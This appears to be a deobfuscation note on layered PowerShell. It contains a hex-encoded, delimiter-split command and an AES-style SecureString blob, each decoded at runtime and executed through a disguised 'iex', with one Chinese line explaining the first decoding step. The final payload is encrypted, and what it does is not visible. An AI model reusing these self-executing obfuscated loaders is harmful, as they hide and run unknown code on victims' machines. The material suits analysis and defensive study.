78Z41<44Z45&41&59{77_41Z35:41r44:63_41Z5a:67&41<31_41<47r49{41&4e&41_42Z69l41_44l55<41{5a:41l42Z6c<41l44:59{41&5aZ51l42{6cZ41&44Z63l41:4er67&42:6dr41l44r6b_41:4d<41:42_6c<41:47<55:41_4dr51{42_6a&41r47<51l41_4e:51l42&68Z41l44{6b:41_4eZ67&41<79<41:47<55_41{4f&41{41l30{41_44<67_41&4dZ51<41Z30&41<44_45<41&59<67{42_6dl41:44_55{41:4d{67_41l35_41r47<55_41r4d{67<41<32r41_44Z4dr41:4f{51_41<77&41Z44r51:41<59_77l41:79r41Z44_59<41{5a<51Z41r78r41:44_51_41:5a:67_42<69_41Z47_4dZ41Z4el51r41Z7a{41{44&6b_41Z59l67{42<6b&41r44l59r41:4el77<42{6a<41&44<67_41&5a<51:41l7a_41:47Z55:41<4d_51Z41r77l41{47Z59l41r4f_41Z41<32Z41<44l51<41:59r77_42&68r41r47:45:41:5aZ67Z41:35&41_44r51_41_4dl41r42:6d_41<44_55:41&4d{67&41&35{41&47r4dl41r5al41<42<6a<41:44<51Z41l4d<77r41:7a{41l44r51_41:5aZ41{41<30r41&47Z55{41<4d{51&41:77&41Z47&51r41<59{77&42l6a:41l47<49_41r4d{77{42&6b:41:44Z6b{41<4e:51:41r30Z41_44<59:41l4dZ41l41{78&41{44<51r41_4d{77r42Z68:41l44l51{41_5a:41{42<6a:41<44:67r41&59{51&41:34Z41r44l49<41Z4e:67<41Z77&41r44l49{41:5a<67Z42{68<41r44<49l41{4e_77Z41_79&41<47r59l41<4d_77Z42r6a<41{44:4dr41:59_77r42:69r41{44{59{41<59_67Z41:32{41&44l55{41&5a:67<41&35<41r44l59l41l4e&51_41<7al41l47_4d<41r4d:67{41_33r41&44{59:41<4f:51<41l34<41{44{67r41:5a&51<41r79Z41_47&4d:41l4dr67Z41:7a&41&44<45{41r4e&41&41:79<41_47<4d{41r4fr41r41:30Z41r44_6b&41:4dZ77&41_34Z41r47Z49l41l4e{67l42l68&41{47{45r41r5a_67r42r68Z41<47<4dr41_4el77l41l34{41Z47_4d:41<4d{77{42:6cZ41r44Z49_41Z4fl41<41<33r41_44_63&41_4d<41r41<33r41&44r63<41Z5a{51Z41Z78l41Z44&59{41{4er67l42<6a{41:44r63r41Z59<67&41r77l41:44{4d:41l59<67&42{68l41r47:49:41<4el41r41Z34l41<44l67<41<4eZ41{41{78<41:47l51:41Z4d:41<41:33&41{44<67<41&4e&77l41r79Z41Z44&41<41{4d_51&41{78{41&44r55{41<59:51l41l30r41r44Z55:41{4e&77:41_7a_41Z47<49<41&4e:77<41:35_41r44<6b{41:4dl51r41_34&41{44<49<41{5a_41Z41&30l41{47Z4d&41&4d{51_41r32r41l44l59&41_4e&67l41_30r41l44_63:41r59<77r41l32_41&44_49<41_4e<51r41{79_41&44r67Z41_4d<67_42&6br41l47Z59<41r5a:51<41<30Z41&44Z55<41r4e_67&41{33&41l44:55{41<59{77r42{6cZ41&44r59<41Z59l67Z42{6cl41r47_51<41&4eZ77&41&7a:41&44Z59r41<4er77<42&68r41&47Z59r41&4e<41&41_33&41<44_55r41l4dZ67Z41l35l41l47{49&41:5a<67<41{32_41<44r67<41<59&77{41r79{41_44:55:41:4dl51Z42l6dl41l47r51:41<59&67l41r30r41l47_59:41&4d&41_41&32:41_47l45Z41Z4eZ67:41_77_41l44_55{41:4eZ51_42:6br41{47&45Z41:4e<51{41{7a{41r47<4d{41Z4f&41{42:69{41{44_45{41<4f_41:41Z31l41_44_4dl41r59&51{42_6d_41r47_49<41_4f{41Z41<7al41<47l4dr41_4eZ41<41<34&41Z47:49&41&5al51l41r79&41:44:45r41l5a<51&42{6cZ41&47l49<41<4d_41_41&7aZ41<44&55<41Z4dr77:42{6c&41_44{41r41r5ar41r42{6bl41:44_59<41{4d{67:41<77&41:44l55&41:4e&77_41_7a<41&47_59:41{4f&51&42l6d&41&44l55_41:59<77r41:78l41_47Z49{41:5a:67_42Z69<41{44:49Z41:4e<41Z42:6a:41r47{59Z41:4f{51:41l77:41{47r59{41:4e{67Z42&69Z41:44<6b&41{4dl67_41l78r41Z44_6bl41l5a:67Z41_35r41{44{63<41_4e&77_42r69l41l47Z55{41Z4d{51{41<77<41<44_55{41_4el41:41&78l41{44_4d<41_4dl77<42<6d<41{47Z59Z41r5ar67:42{6d:41<47&49{41l4e:41&42_6c{41&47_55<41Z5aZ51&42&68_41{44<67:41<5aZ41l41_31_41:44&51{41l4d{67:42r6c{41&44:63{41l59{67{41l77r41_47{4d_41{4e<51Z41l78{41{47:55_41&4dZ77<41r7a:41r44Z45l41_4d:41Z41{35r41:47&59&41:59{51_42r6bl41{44_41<41r5a<41l41_31&41l47l51<41l4d_67_41Z78_41_47&45l41:4e:51{42{6c{41<47:59r41:4e_51:41{79r41:47:49&41l4e:77:42<68_41r47&51<41<4d&77&42l6c<41r44:4dr41_4er67:41{78:41l47l55:41Z4dZ77r42_6d_41r44<41:41:59&77r41_34_41{44:67r41l4e<77l42{69Z41_47{4d:41&5ar67&41l31r41&44_4dr41l59Z67Z42_6dl41_47:49r41&5ar41l42<68r41:44&6b&41_4d<41Z41r77{41&44_55l41_5a&41<42:6b<41_44_49<41r4dZ51{41r30Z41:47l55Z41:4eZ77:42Z6cl41_47r4d:41:59l51&41{77<41<44{6b&41&4e:67:42r69_41l44_51<41<59_67l42Z6c&41r47_49&41r5a_41Z41:33l41r44&45Z41&4d{77r41:32{41_44l55_41Z4d{51&41l34Z41:44:41&41_59Z51<42l6a:41Z44Z67{41:59:77&41&7aZ41<44{63<41r4fr41Z42Z68r41Z44:6b_41:4eZ41{42:6a_41:47:59l41<5aZ41{41{79&41<44<63{41{5a<51{41Z32:41_47{49:41r5a<41&41:79:41Z44{63{41_59_77<41_31Z41&44Z59&41&4d_67&41{77{41l44r55:41<4d{51:42l69r41_47{45<41Z4e<77r41&77Z41_47l49:41l4e&41l42&6dl41Z47_59r41:4e:41{41_31<41<44{59&41<59{67<41r32r41&44:4dr41<4fl51Z42&6aZ41&44{63Z41_4el51<41{7a:41<44r4d&41:4e{51_42r6bZ41_44&51:41{4d{77l42Z69&41_44{67l41&59_67<41{33&41{47r49&41:4el77r42{6c_41_47r45l41<4dl51<42r6d{41{47<4d{41&59r51Z41<33Z41:47&49<41<5a:41{42Z6cl41_44<67:41r59<51l41<34&41l44{63r41&4dZ77:41r78Z41_44{6b{41Z4e_41_42Z6dr41&47Z59{41_4fr51r41:77<41<44r59r41l59r67&42{6bZ41_44Z4dZ41_4dr77Z41l77{41:44_4d&41{4dZ77:42Z6aZ41<44l49l41r4dr77l41r77r41{44Z41:41l4el67{41&33:41r47Z55{41&59<77{41l77{41_47<55r41<4er77&41Z30{41r47&4dr41_4dZ67l41&33&41{47:55{41:4d_67Z41&78l41:44r67<41Z4e:51:41r32Z41r47r49:41r4f{51&42_69<41&44l4dr41:59&67_41Z7aZ41l47Z4d<41{5a:67&41:7a:41Z44r55_41Z59l77l41&33r41_44l6b{41r5al67<42l6b:41_44Z49<41:5a&51_41&34l41:47{49&41<4d:41l42r69l41_47:49<41l4e&51&41&7a_41<44<63_41l4er51<42&6c&41_44l45&41_4e:67<42Z69:41r47l51:41<4dr51Z41&32&41{44l49<41r4f{51:42<68:41&44{6br41&4fZ51&41&35Z41_47Z49Z41:59<67:41<7a:41_47{4d_41l59_77&42_6b<41{44&41r41{59_51_41<35r41Z44<6b:41&4d&77<42r6cl41&44_45:41{4eZ51l41_30&41&44_45l41l5a:67<41&7ar41{47<45l41{4fl51r41<77_41r47{4d_41_4d:67&42:6cZ41r44:45_41<5a_41:41&33<41r47{59Z41{4e&67r41<7ar41Z47{59_41l59Z67_42&6cr41Z44Z59{41l4f_51_41r79<41&44<59{41l4f:41<42:68r41Z47{49{41&4el51Z41_34r41&44{67&41_4eZ51:41:33&41&44{4d_41&4dZ51l41&34l41_44&59:41&4dl67&42_69Z41{44<6b_41r4dl41:41Z30_41&44_4d<41Z4d&67l42l6d{41_44r4d&41:5a<67l41&77<41<44_4dr41{4e_41Z42Z6d<41Z44r55<41l4er51_41Z30l41&44l59l41:4e{51:41:30{41:44{6b:41l5a_51&42<69Z41r47:49l41l5a{41_41<7a:41Z47r55&41:4e_41&41r7aZ41{47<59r41_59Z77_41&34_41&47&45Z41_4fZ51Z41{77&41Z47<59{41r5a<41l42l6br41&47l51&41<4d_41l42<68<41l44r59<41Z59r67_42:6bl41{44Z63{41:59:67:42Z6cr41l47<59_41<4e<77_41:79{41_44l59r41Z4er67&41l35l41Z44l6bl41r4er77Z42_6cZ41_47l49_41<4dr41l42Z6d:41:44:6b_41{4er41{41Z31Z41Z44l59l41r59:67<42&69l41Z47l55<41r4d_51r42_6a:41&44<63Z41Z5ar67:41l33{41&44:59r41Z4e_41{41l31{41r44_41Z41<59{77{41{33Z41&47_45{41<4e&41<41l34:41{47r49<41l4d{77_41l77:41:47<4d:41&4er77&41{30Z41l44{63Z41:4f_51_42Z6b_41&44<41r41&4dr67:41<77<41<44_6b{41Z4dZ77Z42_6ar41:44&59:41<59l67<41{77_41<47:45l41{4d&51l41Z7a&41<44<4d&41r4el41_42_6b&41:44_41r41{4f<41{41&33_41&44<63_41r4d:77&42Z6dr41<44{63Z41Z4e_67<41:31{41_44<41Z41r4d:41l41l35_41<44Z4d_41{4d<67l41&33{41r44<67{41&4dl67<41<32&41l44l51_41{4d_67:41Z34r41_47r45_41Z4e<41:41{77_41:47&55&41Z5aZ51:41l34Z41{47Z4dl41r5al67<41&78l41&44_51_41&4f<41Z42Z6a&41<47<4dZ41l4dl41<41{79:41&47Z55r41_59r51&42{6a_41_44<51l41_4er67l41{35{41&44&45{41:4f{41<41:35:41l44<59Z41_59&67{41:78Z41{47_55<41<59r77{41<78_41:44{41{41:4f{41Z42{6cZ41Z44&4d{41_4dZ41&41<77{41:44&59:41:4f:51<41_79Z41<44&59&41r5a&67{41{31_41r44Z41Z41{5a{41<41:31l41&47_4d&41{4e{51Z41_32l41r44_59<41:59:77:41<78_41<44<49:41<5aZ41:41r30_41_44r4d<41r4d_67&42_6bZ41r44_41:41{4e:67:41_32<41&47&45l41<4e&41_41{77<41r47l51Z41r4d<77Z42Z6a{41r44{59Z41Z4er77<41_32:41_44r63{41_4d{67<41Z33_41&47:51Z41_4d:77{41_77l41_44Z59l41<4fr41&41l31<41&44_51{41&4er67Z41r34r41:47:4d<41l4e{41&42&68r41&44{6bl41&4er51r41<77<41{47_59_41r5ar67_41<30l41r47Z51l41l4eZ51{41:34{41_44r55l41&59_67l42Z6a:41<44:67l41Z5a<41_42:6b<41_44_63<41l4el77<41Z31<41&47<45&41l4d<67Z41Z32l41r47l45_41{4fZ41:41_77l41:47<4dZ41l5a&51<42:69<41&44{6bl41_59:51Z41l34_41<44<4d{41{4fr41r41:31Z41<44<41{41:5a<41:42_6c:41&44<51Z41r59{77&41r3dl27l20_7c:20<63l6f<6e{56<65<52_74:74_6f:2d<53r45_63{75&72_45Z73<54&72&49r6e_67<20&2d{6b:65_79{20:20l28{31:34{33{2e:2eZ31_31l32_29&29{20r29:20l29_20_29Z20:29{20'.sPLIt( '<r_l:{&Z' ) | %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])} ) -JOIN '' | & ( $EnV:COmspEc[4,15,25]-jOIN'')

就是按照 < r _ l :等字符分割提取数据,然后转为16进制即可

.( ([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'') ( ([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr([runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('76492d1116743f0423413b16050a5345MgB8ADAAMABRAGkAcgB2AEEATwBuAHIANgB0AEgAUwBxAFAASABxADgAZAArAHcAPQA9AHwAMwA0ADMANwBmAGQANwAxAGYAMgBhADUAYgA3AGEAZgAyADAANAAzADkAZQAwAGEAZAA5ADMANgBiAGIAMgA2ADQAMQAzADYAZQA0ADUAZgBhAGIAZQBiAGUANAAxADQAZgA4ADMAYgA1AGEAYQBiADEAMgAyADcANQBkADgAYQAxADcAOABkAGEAMgBiAGUAYgA2AGMANQBiADMANwBhAGQAYgBkADkAZgAzAGQAYQAzADUAMQA3AGIAYgA5ADgAMwAxAGUANQBmAGEAMQA2ADQAZgA4ADEAMgBkADEAZAAyADgAMgA4AGQAMQBiAGUAYQAzADgAMABjADIAYgA0ADcANABiADMANgAwAGUAMQA4ADEANgAxAGIAOAA0ADIAOAA2ADYANgBjADIAYwBhAGMAZAA1ADYAMgA3AGEANgA2ADMAMwA5AGIAMwBmADgAZAA2AGQAMwA1ADQAMwBlAGMAMgA0ADQANgA4ADQAOQBmADgAMwBjAGQAMQA5AGEAMABhADcAMABhADYAMwA4ADkAMQA1AGUANAAwAGYANwAzADcAOQA5AGMANQBjAGYANABiADcAYQA3ADMAYgA5AGUAOQBjADMAYwBmADYAYgA3ADYAYwA4ADkANQA3ADMAZQBhADEANwAxAGEAMABiADgAMAAxAGQAZABlADUAYwA0ADMAOQA0ADAANQA5AGEAYgA0AGIAOQAyAGMAMwBlADIAMwBlAGUAOQA2AGMAMgBiADEAYQA1ADcAYgBlAGMANQBlAGIAMgBlADIANAAzADcANAA4AGYANQA0ADkAMAAwADEANgAyAGYAMwAzADYANgA1ADEAMwBhADUANwBhAGMAYQA5AGUANgA0ADIAOQA3ADAANwBiADgANQA2AGUAZQBmADkAMAAzADYAOAA0AGQAOABkAGEAMgAyADMAMQA1ADgAMgAyAGYANwBhADYAYwA4AGEAMgA1AGUANgAyAGMAOQBmADIAMQBiADkAOQA5AGEAYgA1ADkANQA5AGIAOABkADUAYgA1ADgAYQAxADIANABiADYANQBlADIAZABjADgAMABkADIAMQBmADkAOAA0ADEAMgBjADQANQBkAGMAYgA0ADgAMwBjAGYAMAAzAGUAZgAzADMAOQBiAGYAOAA5ADIAZABkADIANwBhAGMANgBjAGIAOQAwADgAMgA2ADkANABkADgAMgA1ADcAMwA2ADYAYQA0ADYAZAAzAGEAMwBmADMAYwAxAGUAMQAyADgANgBjAGQAMwA3ADEAMABiADQAMwBiADEAYQAxADcAZgBiAGMAYwA3AGYAZQBiADIANQA4ADEAMwBjADYAMgAyAGUANgA3AGEAYwBjAGMANAA0AGEANgAyADgAYQBkADUAMAA4AGMANQAxADAAMwA4AGYAYgA3ADMAMABmADYAYQA4ADgAYgBhADIAMQBhADYAYgA5ADgAOQBlAGYANABjAGYANwBmAGEAOAA5ADAAOQAxADUAOQAxADgAZgBjADgAOAA3AGMAOABlAGMANgAwADkAOABjADEANwAxADYAMgAzADEAOAAwADAAMgA2ADQANQA0AGMAYwBlAGUANwBmAGIANQAxAGIAMgA3ADQAZgBlAGQAZQA5AGQANABiAGMAYQA4ADIAMQAwAGQAMwAwADUAMwA0ADIANQA0AGIANwA5ADgAMQAxAGIAYwBmADEANQAwADgAYwAwADYAOQA4ADkAMgBmAGUAOAAyADkANQBiAGIAMABiADYAZgAzAGUAYwA4AGQAMgBlADIAYwAyADUAMwAzADUAMAA5ADEANABmAGMANwA0ADUAYQBhADAAYQA2ADEAYQAyADEAMwBmAGUAZAA5ADgAZgBkADMANAAyAGEAMwBlADQAYwBjADIAOABmAGYAZQBlAGUANwAxADcAMABkAGUAOAAxADUANQBlADYANAA4AGMAYQBlAGMANgBiADgAMgA4ADIANABlADkAMwBhADkAYQA4AGYAMABlADYANwAxADQAZQAxADYAZAA0ADkAYQBlADUAYQA3AGQAMQBmADkAOAA5ADgAYwAwADEAZgBhADAAZgA1AGUANwA1ADgAYQBmADYANQBiADkAOQAyAGEANwA1AGIAYwBkADkAOQBkAGYAYQA5ADEAZQBmADIAMQBjADMAMwAwAGQANgBmADMAYgA5ADkAMABlADMAYwA0ADIAZAA4ADYANwAyADkAOQBmAGIANgA3AGYAMgAyAGUAYQBkAGMAMAA0ADIAYwAzADkAYwAxAGIAZQBhAGYAZQA1ADUAOQAzADMAZAA4ADAAZgAyADMAOQAxADAAMQBiAGUANAA1ADcANQA2AGMAZQA2ADkAMAA3AGMANAA4ADkANwAzAGQAMQA2ADYAMAAyAGQAOQAwAGYAZAAzAGIAMQA5ADUAZgBiADgAMgAxAGQAOABmADIAMwBlADEAOQA3ADgAZgBlAGUAYwA3ADAANAAzADEANABiADkAZAAyADAAZQAwADQANwBmAGEAZABlAGEANgAxADAAZgAxADUAMAA5ADUAZQAzADAAMQBmADEAMQAxADkAMwBjADYANgA1AGQAMQBlAGEANQAxADcAMgAxADYANQA5ADAAMgAxAGYAMQAxAGEAMQBjADMANgBjAGUANAAwADkAMQA0ADAAMQA3ADQAOQAxADEAYQBlADQAOABhAGQAZAAyAGYAOQAzADMAYQBhAGIANwBiADcANwA0AGQAMgA5ADkAZgBmAGUAOQBlADYANAA1ADkAYwAxAGUANwA2ADcAMAAzAGEAOAAwADQANwAyADgAMQBhADcAYQAxAGIAOABhADEAMgBjAGUANQA3ADIAYwA5ADMAYQA1ADIAZQBlADEAYgA2ADcAMwA3AGUAZQBhAGIAMABlAGIANAA3ADEAYgBiADIAOABlADIAOAA1ADYAZABmAGQANQBmADUAMgA5ADAAZAAwADkAZAA3AGYAMgA3ADgAZgA4AGMAZgBiADAAZQAzAGUAOAA4ADUAMgAyADAANQAwAGQAZQAyADkAZAA3AGYAMgBjADQAZAAyADkAZQBiAGEANQA5ADUANQA2AGEAMgA0ADQAMwAxAGIAZABkADEAZQA5AGIANgAxADgAMABiAGIAYwAyADgANAAwAGEAZgBkADEAMQA0ADMAYgAxADMAZAA2AGYANwBkADQANABkADAANABkADkAYwAwADMANwAyADkAZAA2ADAAOQAxADEAMwBiAGEAOABmADAAMgA0ADYAZgBkADYAZgBmADEANgBiAGYAMgAzADAANQBhAGIAMgAyAGUANABjADMAZQA2ADYAMAA5ADAAZgBjADMANgA5ADYAMwAwAGEANQA2ADUAYQBlAGQANgA2ADgAZABkADEAYQBjADYANgAyADMAYwAwADkAZgBiADQAYgAwADkANwAyAGIANgBjADQANABmADkAMAAzADYAZgBmADUAOAA0ADAAMgA1ADYAOQAzAGEAZgA0AGIAMwA2ADEANwBkAGIANQA5ADEANwBjAGEANgA2ADkANwA0ADUAMwBlADIAMQA5ADcAYwAwADEANAA4ADQAZAAxADIAOAA2ADUAMAAyAGUANQBiAGUAMgA1AGQAYwA3AGQAYgA5AGQAZAAyADgAOQBjADEAMQA5ADEANQAyAGMAYwA3ADgAZgBmAGEANABmADMAMAA5ADkAZAAxADgAOABlAGYAMQA1ADAANAA1ADYAZAA1AGUAMwA3ADUANwBjADEAZgAwADUAMAA3AGYAZAA5ADIAMQBlAGYAZABhADkAMQA1ADgAZgBjAGEANwAwAGMAZABhAGQAZgAwADEANQA3ADcAYQA0ADcAOAAzAGIANwBjAGUAZAA0ADEAZAA0ADMAMABmADgAMAA1AGQAZQA4ADcAOQA0ADIAMAAxADYAOAA4ADUAYQBlADEAZABhAGYANwBkADEANwA1ADYANABhADAAZAAyADYAMgAxADUAOQA1ADYAOAA5AGMAZAA3ADMAMQBkADMAMwBhADIAMgAxADgAYgA3ADEAZgAyAGUAMAAzAGIAZQA4ADIAYwBjADYAYQA0ADgAYQAwAGQANQA0ADAAYQA0AGQAMgA4ADYAOQBmADIANAAzADQAMAA2AGIANAA1AGQANgA1ADIANgBiADQAZQAzAGUAYQBlADUAZQAzAGUAYQA2ADcAYQA4ADEANwAyADQAZAA2ADQAYQBlADMAZQA1ADYAOQBjADUANwA2AGMANwBmADMAMAAxAGEAMAAyADUAZAAyAGMAMgA5AGMAZgA5ADAAZgA2ADEAMAA1AGMAOAA5AGMAZgBiAGIAMAA3ADQAZgAwADkAZgBkAGIANwBhAGIANgBiADUAMwAwADMAMwBjAGQAYwBkADUAMQA1ADcAZgBiADUANAA4ADUAMgBlAGEAYgA4AGEANwAyAGUANwBhAGMAMgBhAGYANAAzADEAMgBmADUAYgAyADQAMwBjADMAYwA4AGQANgAxADQAZQBlADIAZABiADkANQAwADEAYgA1ADQAOQBhADQANQBhADQAMwBiADIAMQBkADYANgBmAGIAYQAxADcAOAAwADIAYgAwADEANQA4ADUAOQA4ADYANwAwADkAOAA3AGEAMAA1ADUAOQBkADEANABiAGMAMQA3AGYAYwA5AGYANgA3ADIAYgBmADEAYwA0ADUAMABlAGQAYwBkADYAZAA0AGYANgA0AGUAMgA2AGIAYgA0ADMANAAwADgANgA4ADEAYwA5ADkANAA1AGMAMQA0AGUAZAA2ADUAZgAwADMAMQA3AGQAOQBmADIAOAAwADQANAAwADUANAA2ADIAYwBlADAAOABjADYAMwA1ADkAMAA0AGMAYgAwADAANgBlAGYAMAA3ADIAOAA5AGEANgAzAGMAMwA1ADEAZQBjAGEANQBhADUANgA0ADUAZQBjADYAZABlAGUAOQA3AGIANQBhAGQAYwA0AGUAZQBjADYAOQBiAGIAMAAzAGEAYgA3ADQAOAAyAGEANgBlADQANQBkADgAOABkADYAMQBkADkAOAAxADYAYQAyADgAZQA0AGEAOABmAGEAMABmADEANgA0AGMAMAAwADcAYgBkADIANgBkAGYANwBmADEANwA4AGMAMgAzAGMAZgAxADkANABkADQANgA3ADMAMABjADYAYgAyAGYANQAwAGUAYwA0AGQANwBjADEAMgA5ADcAMgA4AGUAZQBkAGMAMAAzAGYANgAwADQANgBmAGMANQA3ADYANgA2AGQAZABkADcANwA5ADUAYwBmADMAMQA5AGMAMwA5ADIAMABmADcAMwBkAGQAZgBiAGMAMQAxAGEAYQAwADIAOQA2ADgAYwAxADIAZQA2ADkAYwBmADEAMgBjADkANwBmAGMAOAA3ADEAZgA2AGEAMABlAGMAOAA5ADkANQBiADIAOQA2ADgAMgA0ADYANwBhADQAZAAyADQAYgBiADQAMAA5ADkAYwBhADAANQBhADAANQAzADIANQA4AGYAZgA5AGEANgA0AGIAYwAxADMANwA1ADkAMQAxADUAMAAzADIAMQBiAGIAMgAxAGYAMwA0AGEAMQA3ADgAZQBiADEAZgBkAGUAZgAxADMAMwA4ADMANgAxADIANgAzAGMAMAA1ADIAOAA0ADEANAA1ADkANwA4ADkAMgBmADMAMgAzAGIAMwBlADcAZQAwAGEAYgA5ADAAZgA1ADUAZQA0AGIANgBmAGMAZgBmADAAZgBlADgAYgAxAGEANQBkADMAOQA5ADMAMgBlAGYAZQAzADEAYwA1ADIAMQAwADUAMAA0ADIAZQBjAGYAMwBiADkAYwA1AGUAMAA1AGEAZgBlAGQANwBmADYAZABlADYAZgBmADcAOAA0ADAAZAA5ADgAZQAzAGIANQA2ADkAYgAwAGIAMQBlADEANwBmADMAMAA1ADgAYwBiAGIAYQAyAGUAMAA0AGMAYQBlAGUAMQBlADgAOQA1ADgAMgAyADAAZABiAGMAYgA1AGYAOAA4ADAAZgA0ADQAOQBkADgAMgBhAGIAOAA2ADUAOAAwADkAZAAzAGIAMQBiAGYANAAzAGMAOABjADEAMQBhADQAMAAzADAAYQBhAGMANwBjAGYANgAxAGIAMABjADkAOABiAGUAZgAwAGUAZABlADEANwAyADQAZQA0ADgAMgAzADAAYgBmADIAOQBlADMAYQA1ADMAOQBjADQAMAA2ADkANwA1ADUANAAyADYANAA1ADMAMQBlADcANQA0ADMAOABkADIAYQAxAGEANQA1ADQAZQA4AGUAYgA4ADQAZQBlADQANABkADYAMgBkADMAOABhADAAOQA3ADcANAAyAGEAMAA2ADcAZgBkADUAYQA2ADkANABhADMAZQA3AGEANgAxADAAZgAyAGUAZgA4ADcANgBlAGYANAAyADEAMQA1AGIANgA3ADAAZQAxADAAYQA0AGYAOQA3ADUAOABmADEAZABiAGIANgA1ADcAYgA4AGQAMQBjADMAMQA5AGQAYwBmADkANQA3ADYAMQA4ADcANwAyAGQAOQBlADQAZQBiADUAZQBkADMAYQA2ADMAZAA1AGYAYgBhADUANQA3ADEAOAAzADgAMgBkADUAMABhAGUAMwBkAGYANwBlAGIAYwBkADQAMQAwAGIAOAAzADIAYQA5AGQANgAwADYAOAAwADAAZABiADcAYgBlADcANQA2AGEAZQA3ADAAOABjADgAOQA4ADUAYQAzAGIAMQA2ADAAMwA5ADUAMAA4ADQANgA5ADAAOQBmADAANQBmADAAZgAxADAAMgAzADQANAA3ADIAOQA5ADYAMABkADcAMABlAGEAYgA0ADgAOABlAGIANgBmADkAMAA0AGUAZQA3ADMAYgA5ADAAMQA3ADYAOQBiADMAMwA0AGUAMgBkADgAZQA2AGEAMgA0AGIANAAzADIAZgAyAGQAYgBlADQANgA4ADkANgBjAGUAMwA0ADgAMwA0AGIAYwBlADIAMAAyAGMAZAA1AGYAMgBkADYANQA0AGYANgBmADUAOQBhADAAMAAyADMAOAAzADIAYgA4AGYAYwBhADAAOQAxAGEANABhADkANAA0AGMANQAyADgAYgBhADcANgA0ADQANwBlADAAOABiADMANwAzADYAOABkAGUANwA1ADAANAAyAGEANwAzADAAYQAyADQAOABiADgANQBiAGUAZAAzADAANgA2ADAAMQA5ADAANQA0AGQAZgA2AGMANwAxAGYAYQA1ADkAMQA1AGUAZQA1ADYAMAA2ADQAYgA1AGIANgBiADIANAA1AGMAYgA0ADAANQBkADkAZgBiADIAZQBhADYAOQA1ADYAMQA0AGMANgBmAGYAOAA4ADcAZQBkADYAYQBkADAAMgBhADIAZgAyAGEAMQBiADkAMAA1ADMANgAzADUAZgA3ADcAYwBlADMAOQA5ADYAMQA0AGUANwA4ADEAMgBiADIAOAAwADYAMwA4ADYAOQBmADYAZgAzADUAZgA5AGEANQA0AGUANwA2ADEANABhADYAMgBkADAAZAAzAGMAYQA5ADEAZgAyADEAMAA3ADIAYgAxADkAMgA4ADMANABiADUAYgA3ADYAOAA2AGYANABkADYAYwA2AGEAOQAzADAAOAA3AGUANgAzAGMAOAA1ADUAMAAxADQANQAwADkANwA2ADgAOABkADgAMQBmAGIAYwAzADcAYgBiADAANwA3ADAAOABjADQANQAwAGEAYQA0ADQAYgA3ADAANgBjAGUAZAA0ADcAOAA3AGIAOABhADcANQBhAGUAYgBlADIAYwBjAGUAOAA2ADYANgBiADcANQBhADMANAAxADYAMgAwADgAYwA2AGEAYQA4AGEAZgA3ADcAYgAzADEAYQA5AGMANAA5AGYANQAxADQAMwAzAGUAMwAwAGEAZABlADAAZAA1ADYAOAAzAGUAYwA5ADMAZAA3ADQANQAxADEAZgAxAGMANABhADkAYwAxADYANQBkADUAMAA3AGMAMQBkADcAOQA2ADIAMgA0AGEAMgAyAGMAMgBjADQANAAyAGEAMABiAGEAZgAyAGQAZgBiAGIANwBiAGMANABmADUAMABjADEAMgAxAGQAYQAxADAAZgA2AGEAYgBlAGMAOQA1AGMAMQAyAGQAZgA4ADEANwA2AGQAZgA3ADQAYQA0ADEANABmADQAMQAzAGEANgA3ADkAZABmAGUAYgAxAGUAOAAyADYAMgA2AGQAZgA5ADIANwBlADUANwAxAGQAMQBmADgAOQBlADQAZgAxADEAYwA3ADQAOQAxAGQANgAxADcAOAA4ADEAYQBjADIAYwBjAGYAMwBkAGMANABhAGEAYwBmADIANQA3AGUAMQBiAGIAMwAwADcANQAzADkAMgBmAGMAYwBjADIAZQBjADMAMAA5ADQAZAAwAGEAYgA3AGQANQA3ADYAYQA0ADUAOQAyAGYAZAAyADkAMABiADUAYgA2ADUANgAyAGIANAA3AGQAOABjADgAOQA0AGUANAA0ADkANwA2ADEANwAwADMAZAA0AGQAOABjAGEAYQBiAGYANwA0AGQAZAA5ADEANwBhAGIAMABiADIAOAA5ADQAYQBkAGUAMABmAGEANQBlADYAOAA4ADgAMQBhAGQANQA2ADgANgA2ADYANQBhAGIAZgBkAGEAMAAzADMANQAxAGMAZQA1AGYAOQAwADEAYwBhAGMAYwAwADcAZAA5AGYAYwA1ADgAOABjADUAZABiADYANAA3AGMAOAAyADIAMwA1ADIAMQA1ADQAOQBjADkAZQBiAGMAZgA3ADkAMgA5ADgAYwBlADkAZQBiADYAYQAyADIAOQAzADAANwA5ADgANwAyADYANABjAGUANQA4AGIAYgA2ADcANAA5ADAAYQAzADQAMwA4ADIAMAA5ADMAZgBiADcAMwA5ADQAYgBiAGMAZQBiAGEANgA3ADMANwBlAGUAZgBhADQAOQBhADYAMAA5ADkAMQA2AGUAYQA2ADMAMQA3AGEAYQA1ADQAYQA3ADQAYgA1ADYAYgBjADEAZgBjADYAMAA5ADQAMwBiADUAMAA4AGMAZQAxADgANgAzADkAMQBkAGEAZAAxADYAYgA1AGYAZQA3ADQAYwA5AGEAMABmAGEANQBkAGEAYwA2AGEANwA4ADYAOAA4ADgAZQBjADAAZAA2ADMAZAAzADYAZQA0ADIANQBiADUAZQAyAGQAYwBlADQANgAyADkAMABiADIAZABkAGMAZAA1ADUAOABlAGQAZAA2ADYANQBjADgAOABiADYAMgA3ADkANwAwAGQAMgBmAGYANwA1ADcAMwBhAGIAMgBmADAAZAA4AGUANwA3ADAAZgAyADEAOAAxADAAMwAwAGUAYwAxAGEAMwBkADUAMwBlAGUAYwBiAGQAMwA1ADEAMQA4AGYANAA5ADAANgAyADkAYQA5AGQAOQA2ADgANgBjAGIANgA1ADAAMwA0ADYAYgA3AGMAOAAyADkAYgBkAGUANQBlADAANgA5ADgAOQA5ADYAMgAyADQAYgBmADIAMgA2AGIAYwBhADQAMgBhADAAMwAxAGEAMQAzADYAZQBmADIANwAxADIAMQBlAGYAOAAxAGMAYQBlAGEANQBmADMAOABhAGMANwAxADkANQAwADkAYgBkAGYANAAwADYAYwBjADYAZQBhADIAYgA4AGIAYwBjADMAMwA2ADEAOQBiADIAMwA0ADkAYgAyADYAYQAxAGUAMQBjADgAMgA3ADIANgAxAGUAOAA4ADgAOABkADIANAAwAGYANABjAGQANwBhADAANABhADUANwAxADUAMgBkADIAZAAzADIANQA1AGYANgBkADkAZgA1ADEAMwAyAGEAYgA5ADIAMgA2